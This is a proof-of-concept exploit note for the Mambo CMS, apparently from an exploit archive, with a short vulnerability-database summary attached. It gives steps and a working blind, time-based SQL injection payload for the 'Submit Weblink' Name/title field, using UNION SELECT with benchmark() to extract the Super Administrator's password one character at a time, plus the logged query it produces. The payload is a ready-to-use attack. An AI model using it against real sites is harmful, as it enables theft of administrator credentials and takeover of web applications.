/*
  explaination:

  sql injection in "title" argument when you submit a web link, poc:
  start mysql daemon with log option...

  >mysqld --log=mambo.txt

  now login, go to "Submit Weblink" feature, in "Name: " field type:

  99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(200000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*

  in mambo.txt we have:

  13 Query       SELECT id FROM mos_weblinks
                 WHERE title='99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(50000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*' AND catid='2'

  injection is blind but, as you can see, we can you use time delays through Mysql
  benchmark() function to ask questions about tables

  this works regardless of magic_quotes_gpc settings

26624
Mambo Web Link Submission title Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Mambo contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the web link submission script not properly sanitizing user-supplied input to the 'Title' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.
